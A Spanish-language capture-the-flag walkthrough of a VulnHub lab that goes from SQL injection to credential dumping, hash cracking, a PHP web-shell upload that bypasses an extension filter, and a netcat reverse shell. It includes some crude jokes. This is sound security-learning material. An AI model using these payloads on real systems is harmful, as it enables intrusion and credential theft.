Link: https://www.vulnhub.com/...

 

Nos descargamos un archivo .iso que tendremos que usarlo para bootear una maquina tipo Linux 32-bits en virtualbox (o el programa de virtualización de turno).

Un vistazo rápido con nmap nos revela dos puertos, el 22 y el 80.

 

Vamos a darnos una vuelta por el puerto 80, a ver que está sirviendo:

Un fuzzeo de directorios rapido con wfuzz:

¿Qué huele a chamusquina?

 

- /admin/uploads/

Donde estan guardadas las imágenes que se muestran en la web.

 

- /admin/login.php:

Login de administración.

 

- /cat.php?id=2:

Donde el id es una consulta a una base de datos. Y claro... no quiero pensar en el metajuego, pero la máquina se llamaba from sql to shell... jejeje, venga una comilla. Solo una más, la última. Prometo que será mi última comilla.

Ohh! Ahora sí que estoy agusto.

Unas de las primeras cosas que tendria que hacer es saber el número de columnas que tengo disponibles para volcar los datos de otras tablas sin error. Empezamos a probar:

 

id=1 UNION SELECT null  - The used SELECT statements have a different number of columns

id=1 UNION SELECT null, null - The used SELECT statements have a different number of columns

id=1 UNION SELECT null, null, null -The used SELECT statements have a different number of columns

id=1 UNION SELECT null, null, null, null - BINGO!

 

Ahora que sabemos las columnas disponibles, vamos a ver como se están visualizando en la página. Bastaria con:

id=1 UNION SELECT 'uno', 'dos', 'tres', 'cuatro'

 

 

Solo tenemos visible la columna 'dos'. Teniendo esto en cuenta las consultas a la base de datos van a depender de la curiosidad y el tacto de cada 'jugador'.

 

Yo me hice este pequeño esquema:

#Versión:
id=1 UNION SELECT null, version(), null, null order by 1 limit 1 offset 0
    -> 5.1.63-0+squeeze1
Y por como se comporta puede ser MySQL (No estoy del todo seguro).

#DBs (Mostrando los resultados de 4 en 4):
id=1 UNION SELECT null, schema_name, null, null FROM information_schema.schemata order by 1 limit 4 offset 0
    -> photoblog
    -> information_schema

#Tablas de la db photoblog:
id=1 UNION SELECT null, table_name, null, null FROM information_schema.tables where table_schema='photoblog' order by 1 limit 4 offset 0
    -> users
    -> pictures
    -> categories

#Columnas de la tabla users:
SELECT null, column_name, null, null FROM information_schema.columns WHERE table_name='users' order by 1 limit 4 offset 0
    -> password
    -> login
    -> id

Esa tabla nos la 'dumpeamos' en una sola columna en un instante, no me jodas...:

SELECT null, concat(id, ' - ', login, ' - ', password), null, null FROM users order by 1 limit 4 offset 0

hash-identifier nos dice que facil es un MD5, y toda la pinta tiene. Guardamos el hash en un archivo y se lo enviamos a nuestro amigo john the ripper.

(Madre mia, ni 10 segundos...)

Hay que hacer caso a los expertos del telediario:

"Siempre contraseñas con mayúsculas, minúsculas, números, cervezas y putas".

 

Ya está. Con todo esto ya nos podemos loguear como admin con admin:P4ssw0rd.

Tenemos acceso a new.php:

Vamos a hacer un pequeño php con la función system y si podemos subirlo estaremos dentro.

Creamos con el siguiente contenido:

 

<?php
  system($_GET['cmd']);
?>

 

Y ahora nos vamos a reir....

Si intentas subir el archivo con extensión .php te salta un mensaje de error: NO PHP!! (No quiere php).

Pero ¿qué pasa si le ponemos la extensión .PHP? o ¿.pHP? o ¿.phP?? 

..jajaja cuanto mal ha hecho windows al mundo.

 

Que pringao.. se lo come con patatas y nos devuelve lo siguiente:

INSERT INTO pictures (title, img, cat) VALUES ('premio','premio.PHP','1')

 

Ya con wfuzz vimos un /admin/uploads/, y ¿donde estará nuestros pHp?...xD

 

<img src="admin/uploads/premio.PHP" alt="premio" />

.-

"Tápate hija, que vas con las tetas fuera!!"

.-

Para el que no lo vea, esto ultimo no es mas que un ls al directorio /bin/ filtrando (grep) por la cadena 'nc'. Y ahí está! a ver si nos deja:

  • En mi ordenador levanto un nc a la escucha por el puerto 7331 .
  • Desde el servidor nos llamamos a dicho puerto. 

Y aquí me quedo. No soy capaz de escalar privilegios y ya me está dando dolor de cabeza... si alguien lo consigue que me lo haga saber.

 

Un beso a todas.

Zaiuss.